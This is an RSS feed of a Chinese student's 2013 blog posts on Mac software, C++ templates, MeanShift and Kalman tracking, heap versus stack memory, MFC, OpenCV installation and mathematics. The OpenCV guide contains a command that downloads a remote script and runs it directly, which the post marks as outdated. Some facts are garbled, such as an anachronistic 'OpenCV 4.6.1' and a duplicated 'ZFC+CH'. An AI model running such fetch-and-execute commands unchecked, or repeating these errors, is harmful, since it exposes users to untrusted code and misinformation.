购买MacBook之前一直都很担心是否在Windows上面的我必须的生产工具在Macintosh上是否也有，直到这个学期拿下MacBook后才解除了这个疑惑。Macintosh确实是最先进的操作系统，没有之一。
在Windows上，我的需求不多，早期的时候还未接触编程，因此需求工具不多，也就几个数学类的软件，大学后详细接触了编程，于是需求软件一下子就多了起来。下面我把我所有的需有都罗列在下，以备使用。
Maple（数学三剑客之一） Mathematica（数学三剑客之一） Matlab（数学三剑客之一） Lingo（可惜没有Mac版本） 几何画板（很好终于有了Mac版本） Chrome（全套Google服务不说了） Visual Studio（Windows上必备） Microsoft Office（Windows上必备） Goagent（翻墙必备） QQ（这个就不说了） 有道云笔记（一开始接触的就是有道的云笔记，重要的是它和一些帐号绑定全套服务会方便很多。） 迅雷（不说了） 百度云（百度真的很有钱，） WPS（可惜没有Mac版本，否则就真的能彻底抛弃Windows了） Adobe系列（Photoshop、Aftereffect、Audition、Premier Pro） 有道词典（英语渣也就不说什么了） Xcode（在Mac下取代了Visual Studio，重要的是它是免费的。） iWork（在Mac下取代了Microsoft Office。） Wireshark（抓包什么的还是很有用的。） Evernote（印象笔记，多平台通吃，最近几年挂起来的这阵风是好的，软件多平台通吃，给用户以最大体验。） MPlayerX（自带播放器解码还是不行，必须有一个强大的后盾） VirtualBox（开源的，比VMware好的感觉） MathType（Mac版本的Office没有自带MathType，幸运的是Mathtype有Mac版本）</description></item><item><title>模版链表实现与模版声明定义分离编译错误</title><link>https://changkun.de/blog/posts/%E6%A8%A1%E7%89%88%E9%93%BE%E8%A1%A8%E5%AE%9E%E7%8E%B0%E4%B8%8E%E6%A8%A1%E7%89%88%E5%A3%B0%E6%98%8E%E5%AE%9A%E4%B9%89%E5%88%86%E7%A6%BB%E7%BC%96%E8%AF%91%E9%94%99%E8%AF%AF/</link><pubDate>Wed, 18 Sep 2013 15:27:03 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%A8%A1%E7%89%88%E9%93%BE%E8%A1%A8%E5%AE%9E%E7%8E%B0%E4%B8%8E%E6%A8%A1%E7%89%88%E5%A3%B0%E6%98%8E%E5%AE%9A%E4%B9%89%E5%88%86%E7%A6%BB%E7%BC%96%E8%AF%91%E9%94%99%E8%AF%AF/</guid><description>模版链表 上周抽时间写了个模版链表，写完后发现编译过不了，开始我还以为是Xcode的问题，后来换成windows下发现还是不行，最后才知道，我把模版的具体实现和定义分离到.h和.cpp文件中，导致无法编译。具体原因我们等会儿再谈。
下面是实现的模版链表，由于上周后来参加数学建模就没有再写，排序函数还没写好。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 // // Chain.</description></item><item><title>MeanShift 均值漂移跟踪算法原理</title><link>https://changkun.de/blog/posts/meanshift-algorithm/</link><pubDate>Wed, 04 Sep 2013 21:24:52 +0000</pubDate><guid>https://changkun.de/blog/posts/meanshift-algorithm/</guid><description>概述 整个暑假都在做Tracking，其中最为重要的核心就是均值漂移了，均值漂移算法指的是一个迭代的步骤，即先算出当前点的漂移均值，移动该点到其漂移均值，然后以此为新的起始点，继续移动，知道满足一定条件结束。所以，均值漂移实际上是一种在一种数据的密度分布中寻找局部极值的稳定的方法。如果分布连续，那么处理则变得非常容易，在这种情况下本质上只需要对数据的密度直方图应用爬山算法。更加准确的说，均值漂移是与核密度估计的规则有关的算法。而所谓“核”，实际上是一个如同高斯分布的局部函数。如果在充足的点处拥有足够合适的带权重和尺度的核，数据的分布则可以完全根据这些核来表示。然而又与核密度的估计不同，均值漂移仅仅估计数据分布的梯度。如果变化为0的地方则表示是这个分布的峰值（当然，也有可能是局部的）。当然在附近或其他尺度上还是有可能有峰值的。
定义 给定$d$维空间$R^{d}$中$n$个样本点$x_{i},i=1,2,&amp;hellip;,n$，$n$在$x$点的均值漂移向量的基本形式定义为：
$$ \begin{equation} M_{h}(x)=\frac{1}{k}\sum_{x_{i}\in S_{k}}\left(x_{i}-x\right) \end{equation} $$
目标模型 均值漂移采用的是特征值的加权概率分布来描述目标模型，属于模式识别中主要描述目标的模型，不同于自动控制理论中采用的状态方程。 目标模型一共具有$m$个特征值（可以理解为像素的灰度值），于是对于序列$q={q_{n}}$，而$u\in {1,&amp;hellip;,m}$有
$$ \begin{equation} q\left(u\right)=C\sum_{i=1}^{n}k\left( \left\Vert \frac{X_{i}-X_{0}}{H} \right\Vert ^{2}\right) \end{equation} $$
其中，$X_{0}$为窗口中心点向量值（可能为RGB向量或者灰度值），$X_{i}$是窗口内第$i$点向量值。$C$为归一化常数，保障$\sum_{i=1}^{m}q_{i}=1$ ，$H$为核函数的带宽向量。$M$为特征值的个数，对于图像处理可以理解为灰度等级划分的个数，从而特征值$u$为对应的灰度等级。 $\delta$函数为脉冲函数，保证只具有$u$特征值的像素才对概率分布作出贡献。从而$k$函数可以理解为$u$灰度值的一个加权频数。
匹配对象 同样采用的是特征值加权概率分布：
$$ \begin{equation} P_{u}(Y)=C_{h} \sum_{i=1}^{n_{k}}k\left( \left\Vert \frac{X_{i}-Y}{H_{h}} \right\Vert ^{2}\right) \delta\left(b(X_{i})-u\right) \end{equation} $$
其中$i\in [1,&amp;hellip;,n_{h}]$，$Y$为匹配对象的中心， $X_{i}$是匹配窗口内第$i$点向量值。 $H_{h}$为匹配窗口的核函数带宽向量，$C_{h}$为匹配窗口特征向量的归一化常数。
匹配相似 匹配对象与目标模型的相似程度，相似函数采用的是Bhattacharyya函数
$$ \begin{equation} \rho\left(p(Y),q\right)=\sum_{u=1}^{m}\sqrt{P_{u}(Y)q_{u}} \end{equation} $$
匹配过程 均值漂移采用梯度下降法，首先$$\rho(Y)$$在\rho(Y_{0})附近进行泰勒展开，去前两项，得到
$$ \begin{equation} \rho(Y) \approx \rho(Y_{0})+\frac{d\rho}{dp}\left(p(Y)-p(Y_{0})\right) \end{equation} $$
定义
$$ \begin{equation} \rho_{u}(Y)=\sqrt{p_{u}(Y)q_{u}} \end{equation} $$
从而
$ \begin{equation} \rho_{u}(Y)=\rho_{u}(Y_{0})+\frac{q_{u}}{ 2 \sqrt{p_{u}(Y_{0})q_{u}} }\left( p_{u}(Y) - p_{u}(Y_{0}) \right) \end{equation} $</description></item><item><title>下一次的数学突破？</title><link>https://changkun.de/blog/posts/%E4%B8%8B%E4%B8%80%E6%AC%A1%E7%9A%84%E6%95%B0%E5%AD%A6%E7%AA%81%E7%A0%B4/</link><pubDate>Tue, 03 Sep 2013 12:52:57 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%B8%8B%E4%B8%80%E6%AC%A1%E7%9A%84%E6%95%B0%E5%AD%A6%E7%AA%81%E7%A0%B4/</guid><description>今天有人问我这个问题，就抽零碎时间在手机上敲敲我的看法。 数学界从来不缺天才，数学界从来不缺重大的突破。就我大学一年零碎所了解到的（以前高中还是太肤浅，当时只是道听途说），现代社会从事科研的人数比以前多了不知多少倍，所以现代科学（包括数学）的发展和突破的速度超越了以往任何一个时代（即《三体》里大刘所说的“技术爆炸”）。 只不过，相对于无理数、复数、微积分这样受过正常理工科教育的人都能理解的简单知识而言，现代数学的突破是almost everyone看不懂的了。我说的“看不懂”是真的看不懂——即数学圈外的人、甚至数学圈内不是一个方向的研究者，连这个“突破”的成果是啥意思都看不明白，更别提理解这个成果是怎么得到的了。（所以大部分民科也只会在像哥德巴赫猜想这类问题上纠结一样） 所以，圈外人会有一种“科学发展停滞了”的错觉，虽然他们每天用着的手机、电脑等由几十年前的“旧数学成果”奠基的工业产品在日新月异地更新换代。（不要觉得现在的产品有多么先进，只是几十年前的数学家不想去做产品化这种无聊的东西。）
“整数与小数之间的映射关系”、“离散和连续的关系”、“拓展数的概念”，都是很初等的东西，距离现代数学差得太远了。所以也就能理解为什么会提出这样的问题。 如果没有做过数学、物理等前沿学科问题的研究，是完全无法想象现代前沿科学是什么样的。其抽象程度、推导的复杂程度、需要的知识储备是大大超出一般圈外人的想象的。
举一些20世纪以后数学重大突破的实例吧：
哥德尔不完全性定理：由Godel证明，它使得人们一直以来寻求“完美的数学公理系统”的希望破灭——你永远不可能找到一个完美的数学公理系统，使得所有的数学命题都可以被证明或证伪。一个著名的例子就是连续统假设（CH）——以前数学家们孜孜以求的连续统假设的答案，是它和现代数学所采用的ZFC公理系统独立，即ZFC+CH不会有矛盾，ZFC+CH也不会有矛盾。
范畴论：一个不同于集合论的、可以作为现代数学基础的理论基石。由Samuel和Saunders创立，另外Lawvere、Alexander等数学家都为之做出了巨大贡献。集合论的基本概念是“元素”，而范畴论不再关心元素，而关心不同对象之间的联系，这更能抓住很多抽象数学机构的本质特征。例如，一个经典的例子是Gelfand representation，交换C*代数构成的范畴和紧Housdorff空间构成的范畴是等价的。范畴论不仅是代数几何等前沿数学分支的理论基础，还为理论计算机和物理的发展提供了强大的范畴论工具。
庞加莱猜想：1961年Smale证明了五维以上的情形，1981年Freedman证明了四维情形，2003年Perelman证明了三维情形，从而彻底解决。三人都因其对庞加莱猜想的贡献各自获得菲尔兹奖。关于它的意义我不想也不愿意用初等语言来描述（其实是我自己也不是很明白），微分几何与现代物理的深刻联系需要许多预备知识才能理解。事实上，现代数学最难且最热门的分支就是几何（包括微分几何、代数几何等），它是与现代物理关系最紧密的数学分支，也是聚集了最多数学天才的分支，最近几十年里这方面的突破性进展数不胜数，只可惜我资质愚钝表示都看不懂。</description></item><item><title>Kalman滤波器数学原理与应用</title><link>https://changkun.de/blog/posts/kalman-filter-principle/</link><pubDate>Thu, 29 Aug 2013 11:27:57 +0000</pubDate><guid>https://changkun.de/blog/posts/kalman-filter-principle/</guid><description>前段时间做Tracking，了解到Kalman滤波，感觉很不错。wikipedia上内容有点多，整理过后发现只有五个核心公式。
原理 Kalman滤波器不断把协方差递归，估算出最优值，并且保留了上一时刻的协方差（Kalman增益），因此它的运行很快，可以随不同的时刻而改变他的值。 首先，我们要引入一个离散控制过程系统，该系统可以用一个线性随机微分方程来描述：
$$ \begin{equation} X(k)=AX(k-1)+BU(k)+W(k) \end{equation} $$
加上系统的测量值：
$$ \begin{equation} Z(k)=HX(k)+V(k) \end{equation} $$
上面式子中，$X(k)$是$k$时刻的系统状态，$U(k)$是$k$时刻对系统的控制量。$AB$是系统参数，对于多模型系统，他们为矩阵。$Z(k)$是$k$时刻的测量值，$H$是测量系统的参数，对于多测量系统，$H$为矩阵。
$W(k)$和$V(k)$分别表示过程和测量的噪声。他们被假设成高斯白噪声他们的协方差分别为$Q$，$R$（假设不随系统状态变化而变化）。 对于满足上面条件（线性随机微分系统，过程和测量都是高斯白噪声），Kalman滤波器是最优的信息处理器。下面则用其自身和自身的协方差来估计系统的最优化输出。 首先，要利用系统的过程模型，来预测下一状态的系统。假设现在的系统状态是k，根据系统的模型，可以基于系统上一状态而预测出现在状态：
$$ \begin{equation} X(k|k-1)=AX(k-1|k-1)+BU(k) \end{equation} $$
上式中，$X(k|k-1)$是利用上一状态预测的结果，$X(k-1|k-1)$是上一状态最优的结果，$U(k)$为现在状态的控制量，如果没有控制量，它可以为0。 至此，系统结果已经更新，但对于$X(k|k-1)$的协方差还未更新，用$Cov$表示协方差则：
$$ \begin{equation} Cov(k|k-1)=ACov(k-1|k-1)A^{T}+Q \end{equation} $$
上式中，$Cov(k|k-1)$是$X(k|k-1)$对应的协方差，$Cov(k-1|k-1)$是$X(k-1|k-1)$对应的协方差，$A^{T}$表示$A$的转置，$Q$是系统过程的协方差。上面两个式子为对系统的预测。 当有了现在状态的预测结果，我们再收集现在状态的预测值。结合预测值和测量值，我们可以得到现在状态$k$的最优化估计值$X(k|k)$：
$$ \begin{equation} X(k|k)=X(k|k-1)+K_{g}(k)(Z(k)-HX(k|k-1)) \end{equation} $$
其中，$K_{g}$为Kalman增益：
$$ \begin{equation} K_{g}=Cov(k|k-1)H^{T}(HCov(k|k-1)H^{T}+R(k))^{-1} \end{equation} $$
于此，已经得到了k状态下的最优估算值$X(k|k)$。但是为了要另Kalman滤波器不断的运行下去直到系统过程结束，我们还要更新k状态下$X(k|k)$的协方差：
$$ \begin{equation} Cov(k|k)=(E-K_{g}H)Cov(k|k-1) \end{equation} $$
其中，$E$为单位矩阵。当系统进入$k+1$状态时，$Cov(k|k)$就是第二个公式的，因此，可以自回归下去。
应用 Kalman滤波器作为一个很好的预测模型，可以根据现有情况来预测未来情况，在做Tracking中则变得很有用处。对于一个对象$S$的Tracking，$S$的pos在域中漂移，利用Tracking可以使得pos平滑稳定。 在OpenCV中提供了CvKalman结构，但是使用起来仍然需要建立模型，前几天我根据上述原理对整个过程进行了封装：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 // // CvKalmanPoint.</description></item><item><title>在堆上分配内存</title><link>https://changkun.de/blog/posts/%E5%9C%A8%E5%A0%86%E4%B8%8A%E5%88%86%E9%85%8D%E5%86%85%E5%AD%98/</link><pubDate>Mon, 26 Aug 2013 20:05:21 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%9C%A8%E5%A0%86%E4%B8%8A%E5%88%86%E9%85%8D%E5%86%85%E5%AD%98/</guid><description>之前一直对内存分配上的“stack”和&amp;quot;heap&amp;quot;理解虽说明白但不是很调理。今天写个文章来整理一下。 简单来将，stack上分配的内存系统自动释放，heap上分配的内存，系统不自动释放，哪怕程序退出，那一块内存还是在哪里。所以stack一般指的是金泰分配的内存，heap上一般是动态分配内存。 由于malloc系统函数的内存就是从堆上分配内存，从堆上分配的内存必须手动释放（free）。否则会出现内存泄露。当出现内存泄露时，系统可分配的内存会随着malloc的进一步使用而越来越少，直至系统崩溃。
下面来比较一下二者的区别。
1 2 3 4 5 char *allocStrFormStack(void) { char str[100]; return str; } 1 2 3 4 5 6 7 char *allocStrFromeHeap(int lenth) { char *str; if (lenth &amp;amp;lt;= 0) return NULL; return (char *)malloc(lenth); } 对于第一个函数，函数返回时str所占用的内存被系统所释放，因此，返回值不可被使用。第二个函数使用malloc在堆上分配了内存，因此函数返回时，该段内存并不会因为函数的出栈而释放该内存，从而返回的地址正确。但是一旦不使用free释放或者不小心将指针所移走将会造成内存泄露。</description></item><item><title>MFC系列（一）创建空白窗口</title><link>https://changkun.de/blog/posts/windows-mfc-1/</link><pubDate>Mon, 26 Aug 2013 15:03:01 +0000</pubDate><guid>https://changkun.de/blog/posts/windows-mfc-1/</guid><description>首先，我们需要创建一个MFC的项目。
创建完成后，我们点击下一步来到如图所示的设置界面，选择单个文档，取消文档/视图结构支持，取消使用 Unicode 库。
点击下一步，选择无数据库支持。再点击下一步，主要框架仅勾选最小化框和系统菜单，并选择使用菜单栏和工具栏，然后直接点击完成。
在右侧我们可以看到解决方案资源管理器中的文件列表。
直接运行程序会发现已经自行生成了很多内容，包括菜单栏等，下面我们删除它。 我们的项目名称为MFCTest，因此在MFCTest.cpp中，函数BOOL CMFCTestApp::InitInstance()的最后三行代码为自动生成的代码：
1 2 3 4 // 唯一的一个窗口已初始化，因此显示它并对其进行更新 pFrame-&amp;gt;ShowWindow(SW_SHOW); pFrame-&amp;gt;UpdateWindow(); return TRUE; 我们将其改为：
1 2 3 4 5 // 调整窗口大小 m_pMainWnd-&amp;gt;SetWindowPos(NULL,0,0,811,632,SWP_NOMOVE); //800*600 m_pMainWnd-&amp;gt;ShowWindow(SW_SHOW); m_pMainWnd-&amp;gt;UpdateWindow(); return TRUE; 更改后的代码将窗口渲染为811*632的大小，而实际上用于显示的部分仅800*600。 在文件MainFrm.cpp中，找到函数 int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)： 可以发现为了兼容性和创建各种控件已经生成了很多的代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct) { if (CFrameWndEx::OnCreate(lpCreateStruct) == -1) return -1; BOOL bNameValid; if (!</description></item><item><title>在 Mac 中配置OpenCV</title><link>https://changkun.de/blog/posts/install-opencv-on-mac/</link><pubDate>Mon, 26 Aug 2013 03:23:09 +0000</pubDate><guid>https://changkun.de/blog/posts/install-opencv-on-mac/</guid><description>笔者初次配置Mac下的OpenCV过程中花了很多精力，出现了很多状况，这些状况在互联网上根本不存在统一说法甚至没有，关于Mac下的OpenCV的各类文献都年代久远且OpenCV更新换代较快导致它们都严重过期。本文则希望能够帮助初次配置OpenCV for Mac少走弯路。
本文平台：Macbook Air 2013 OS X 10.8.4, OpenCV 4.6.1
本文时间：2013-08-26
方法已经过期, 可供观赏, 请不要模仿
第一步：安装Xcode及关键组件 OpenCV在Mackintosh中的配置不同与windows，需要自行在Mac下编译OpenCV。首先我们要保证完整的安装好Xcode。之所以是要求完整，是因为在App Store中下载的Xcode很多组建并未安装成功，在菜单栏中：Xcode－Preferences－Downloads-Components，安装Command Line Tools，安装完成这个后我们才能在接下来的步骤（CMake阶段）顺利进行。
第二步：安装、配置Homebrew和cmake 经常使用Ubuntu的同志们都知道sudo apt-get install命令，Mac下知名的有Homebrew（http://brew.sh/）、Macport。Homebrew使用的是ruby比macport更为优越，因此我们安装Homebrew，打开Mac下的终端，输入：
1 ruby -e &amp;#34;$(curl -fsSL https://raw.github.com/mxcl/homebrew/go)&amp;#34; 安装完成后，继续输入：
1 2 brew selfupdate brew install cmake 第三步：编译与安装OpenCV 由于brew中的OpenCV做过调整，无法直接使用brew install opencv直接安装opencv，因此安装完cmake后，在官网（http://opencv.org/）上下载适用于Mac平台的源。管网上的下载对于新手来说或许具有迷惑性，有一个OpenCV for linux/Mac，还有一个 OpenCV for iOS（这个适用于在iOS平台上的开发），我们是Mackintosh自然选择前者。
解压完成后会看到上图所展示的文件夹，在终端中使用cd和ls两命令配合进入该文件夹中，例如：我的opencv位于如图位置：
在终端中，进入该目录下：(注意：由于我已经编译完成过，所以多了一个build文件夹)
这时通过cmake来编译opencv：
1 2 3 4 5 mkdir build cd build cmake -G &amp;#34;Unix Makefiles&amp;#34; .</description></item><item><title>从两个例子谈起：条件收敛与一致收敛的深刻背景分析</title><link>https://changkun.de/blog/posts/%E6%9D%A1%E4%BB%B6%E6%94%B6%E6%95%9B%E4%B8%8E%E4%B8%80%E8%87%B4%E6%94%B6%E6%95%9B%E7%9A%84%E6%B7%B1%E5%88%BB%E8%83%8C%E6%99%AF%E5%88%86%E6%9E%90/</link><pubDate>Mon, 29 Jul 2013 13:42:51 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%9D%A1%E4%BB%B6%E6%94%B6%E6%95%9B%E4%B8%8E%E4%B8%80%E8%87%B4%E6%94%B6%E6%95%9B%E7%9A%84%E6%B7%B1%E5%88%BB%E8%83%8C%E6%99%AF%E5%88%86%E6%9E%90/</guid><description>条件收敛和一致收敛 无穷级数理论作为一种工具很有它发明（我们不去讨论它到底是发明还是发现）的必要性。 而一致收敛的引入在现在的数学分析教材上已经变得彻底避而不谈。我们先来讨论一下条件收敛引入的必要性。
我们先来看一个例子，我们知道：
$$ f(n) = 1 - \frac{1}{2} + \frac{1}{3} - \cdots + \left( -1 \right)^{n+1}\frac{1}{n} + \cdots = \ln 2 $$
我们把左边的式子做一些小小的变动，我们把交换一些项的顺序那么：
$$ \begin{split} f(n) &amp;amp;= 1 - \frac{1}{2} + \frac{1}{3} - \frac{1}{4} + \frac{1}{5} - \frac{1}{6} + \frac{1}{7} \cdots + \left( -1 \right)^{n+1}\frac{1}{n} + \cdots \ &amp;amp;= \left( 1 - \frac{1}{2} \right) - \frac{1}{4} + \left( \frac{1}{3} - \frac{1}{6} \right) - \frac{1}{8} + \left( \frac{1}{5} - \frac{1}{10} \right) - \frac{1}{12} + \cdots \ &amp;amp;= \frac{1}{2} - \frac{1}{4} + \frac{1}{6} - \frac{1}{8} + \cdots \ &amp;amp;= \frac{1}{2} f(n) \ &amp;amp;= \frac{1}{2} \ln 2 \end{split} $$</description></item><item><title>大一总结</title><link>https://changkun.de/blog/posts/%E5%A4%A7%E4%B8%80%E6%80%BB%E7%BB%93/</link><pubDate>Wed, 10 Jul 2013 20:03:20 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%A4%A7%E4%B8%80%E6%80%BB%E7%BB%93/</guid><description>我发现我这人好像特别好这口，大一生活已经过去了，回头想想高考填志愿似乎还是昨天的事情，转眼就要开始迎接学弟学 妹们了。我想是时候该模糊的简短的总结总结这一年的所谓风雨兼程了。
生活 开篇自然应该从校园生活谈起吧，大学开学的时候有一个非常“仁慈”的销售小姐这么问我：“你准备怎样度过你的大学四年？”当时我毫不犹豫的回答到：“学习”。我至今都十分清晰的记得我当时的心态（现在回想起来这位销售小姐期望我回答她想要拓宽人脉找到好的工作之类的，因为这样我这个客户就会自然而然的跳进她的圈子里），我因为某些历史原因进了计算机专业，到这个时候我甚至对计算机这个专业的了解程度趋近于零，尽管高中阶段受同学的影响接触过“Hello World”。所以后来这个销售小姐看我基本上上不了她的圈就以“根本不想和你这种人交流”为由把我给打发走了（或许我确实比较惹人烦呢）。
开始大学生活后我才知道真正感受到“地球Online”的复杂性，我才真正感受到以前的我是生活在天真的梦里。大学里的大学生们代表了一个时代，来自不同地域的同学们怀揣着各自的思想，在大学里产生激烈的碰撞，正在为这个时代创造新的事物。
学习 我是什么时候爱上科学、以至于现在狂热到无法自拔？我已经记不起来了。但是有三个人是脱不了干系的，我的父亲以及我的两位数学老师。我的父亲在我小学的时候代领我领略过从已知到未知（未知的引入），初中老师指点我从实在到虚无（数系的扩充），高中老师指明我从形象到抽象（抽象的结构）。
大学一年中逐渐认识到计算机科学后便一步步思考了太多太多想干的事，但是受到生活上那些逃避不了的事，并没有干出太多重要的事情出来，直到这个学期一半过去了之后才最终选定方向。
回过头来想想这一年某种程度上能够算称得上是虚无缥缈。因为有课的日子上完课回到寝室便打开了电脑，统计下来一个学期花在学习上的日子算下来估计不超过三个星期，剩下的时间便是“消磨”在互联网中。一年中我逐渐认识到了以前我在小县城里面从未感受到的科技氛围。
高三那会儿无非就是每天对着一堆无聊的试卷，甚至我真正接触安卓的时候还才是高二买了Defy，自然也就不知道 Google I/O、WWDC 什么的。这一年中又逐步了解到了很多移动设备的知识（其实就是看了很多很多的评测），介绍这些的人带有不同的观点看法，通过互联网的形式向外界展示，这些不同的观点在我大脑中筛选、重组。通过这些，我甚至还接触到了工业设计、商业等知识，极大限度的满足了我闲暇的无聊时光。
计划 计划匿于心。
写在后面的 Here’s to the crazy ones. The misfits. The rebels. The troublemakers. The round pegs in the square holes. The ones who see things differently. They’re not fond of rules. And they have no respect for the status quo. You can quote them, disagree with them, glorify or vilify them. About the only thing you can’t do is ignore them.</description></item><item><title>陈老爷子</title><link>https://changkun.de/blog/posts/%E9%99%88%E8%80%81%E7%88%B7%E5%AD%90/</link><pubDate>Mon, 10 Jun 2013 08:14:16 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%99%88%E8%80%81%E7%88%B7%E5%AD%90/</guid><description>我对陈老爷子的了解不过是在各大社交网络上道听途说，不过足矣让我产生对他老爷子的无比敬意，因此我还是想写一篇日志来记一记。
“这是我们三个学期的总结，是我们数学分析课的最后一节，也是我个人的最后一节课！”——陈天权
陈老爷子的数学分析课划上了句号，即便我没有听到过他的课，心里也还是有点失落，不知道为什么，可能就是因为上面的这一句话吧。对于一个年过古稀的老人，讲台上的一生也许比这灯光更加的璀璨吧。
有人说陈老上课太磨蹭，老讲一些数学史什么的，对于我来说，数学史这个东西就是一种数学素养，如果一个人连自己所研究的问题的过去是什么都不清楚，那么那些前车之鉴也就无从得知了。网上的同学们说，陈老上课讲数学史，更多的是对我们这一代的“21世纪的数学家”的一种希冀和展望，希望我们不要重复以往的错误，而要汲取成功的经验：
Gottingen的四杰，Gauss,Dirichlet,Riemann,Hilbert,他们一直传承者这所学校的精神衣钵，网上的朋友说陈老总是讲Riemann的故事，包括Hilbert怎样发展Riemann的工作，并且解决了Weierstrass对于Riemann的博士论文提出的问题，可以说这四位数学家的工作都很卓越。这四位都可以称为数学家，他们在数学的各个领域都有很深的研究和很大的建树，奠定了几个世纪的数学发展脉络和基础。
陈省身的老师Elie Cartan，是公认的20世纪伟大的几何学大师，是他创造性的认识到了Grassmann的重线性代数理论的重要性，并且将重线性代数用于发展外微分和外代数。开始的时候，Grassmann的理论并不受到人们的重视，也许除了Mobius之外，同时代的数学家都没有注意。Cartan的理论出来后，依然没有多少人注意。直到Hilbert的大弟子Hermann Weyl将外代数大规模用到自己的工作中，人们才意识到了外微分的重要性。陈省身自己说，当时Cartan给了他三道题，他一道也不会做，“后来，我终于弄懂了Cartan的那一套”。
Newton是Barrow的学生，Newton和Leibniz同时独立的做出了微积分基本定理，但是却为了优先权争得不可开交，后来，Bernoulli在Barrow的讲义中找到了微积分基本定理的雏形，但是这场争端并没有因为这个而停下。Newton的朋友一起攻击Leibniz集团，说他抄袭了Newton的文章……从历史的发展上面，这场战争没有真正的赢家，欧洲大陆上的数学家们接受了Leibniz的简单的符号，于是在他之后诞生了像Euler,Lagrange,Laplace,Legendre,Gauss等等的大数学家，而在英伦三岛上面却没有能与这些人相提并论的哪怕一位数学家。
Einstein花了七年的时间搞懂了Riemann几何，当时他去向他的老师Minkowski询问有关相对论的想法，Minkowski告诉他需要去看Riemann几何。七年后，当他把自己的成果弄成一个小册子给当时的量子力学家Max Bone看的时候，Max正在旅行结婚，由于总是研究这个小册子，Max的新娘甚至发火了……
数学是一种科学的科学，更是一种文化，与其说数学是一种科学，不如说数学是一门数的哲学。我觉得，也许陈老想要告诉我们的就是这样一种理念吧。网上的同学说他们有一次的答疑课上，陈老告诉他们，他从59年第一次站上讲台讲习题课，到今年已经有52个年头了，清华北大都呆过，今年应该是最后一年了。后来陈老笑着让他们给他的书提提意见，他好回去修改。听到这里，瞬间有些心酸了。为祖国健康工作五十年，他，是一个标杆。实话说，当时我在贴吧里面听到网友推荐陈老的这套讲义时，第三本还没出版。拿到头两本的时候，刚开始真心很难，很难，难到难以置信，国内没有任何一本书能够比得过陈老的这本。所以后来第三册出版的时候我迫不及待的在网上唯一能买到的网站上下了单。等了半个月的平邮才拿到第三册。拿到的时候确实很兴奋。毕竟从那书后面一长串的参考书目，陈老在这本书上倾注了很多的心血。即使没有见过这样一个老师，能够读到他的书，觉得没有白白度过！</description></item><item><title>物理世界是离散的却为什么可以大量的使用微分和积分？</title><link>https://changkun.de/blog/posts/%E7%89%A9%E7%90%86%E4%B8%96%E7%95%8C%E6%98%AF%E7%A6%BB%E6%95%A3%E7%9A%84%E5%8D%B4%E4%B8%BA%E4%BB%80%E4%B9%88%E5%8F%AF%E4%BB%A5%E5%A4%A7%E9%87%8F%E7%9A%84%E4%BD%BF%E7%94%A8%E5%BE%AE%E5%88%86%E5%92%8C%E7%A7%AF%E5%88%86/</link><pubDate>Mon, 27 May 2013 20:29:03 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%89%A9%E7%90%86%E4%B8%96%E7%95%8C%E6%98%AF%E7%A6%BB%E6%95%A3%E7%9A%84%E5%8D%B4%E4%B8%BA%E4%BB%80%E4%B9%88%E5%8F%AF%E4%BB%A5%E5%A4%A7%E9%87%8F%E7%9A%84%E4%BD%BF%E7%94%A8%E5%BE%AE%E5%88%86%E5%92%8C%E7%A7%AF%E5%88%86/</guid><description>学习物理的时候可能会有如下疑问：
1、难道物理上可以证明不可测点集的测度为0吗？ 2、或者说物理的核心理念仅仅在于构建数学模型却只在乎实验结果是否吻合？ 3、究竟是数学物理模型决定了这个世界，还是这个世界决定了数学物理模型，如果我们用一堆连续的理论得出了一切都是离散的结论？
以下内容转载自:
http://www.guokr.com/question/465025/ https://www.zhihu.com/question/21274309 至于物理世界到底是连续的还是离散的，目前还暂无定论，相关的实验还在进行中（貌似是哪一期《环球科学》上看到的，用的是Michelson干涉仪的一个超级强化版）。
所谓物理世界是连续的，不要被“量子力学”所误导。“量子”说的只是本来认为是连续的一些量_在一定的条件下_量子化了。例如束缚于原子内的电子，其能量是量子化的，但是自由电子的能量还是可以任意连续取值的。事实上，量子场论甚至把一些经典意义上离散的东西连续化了，例如“点粒子”。
因为说白了讲，量子力学的核心——薛定谔方程，是连续的，而它的量子化性质，是我们给它加以定态限制后才显现出来的。
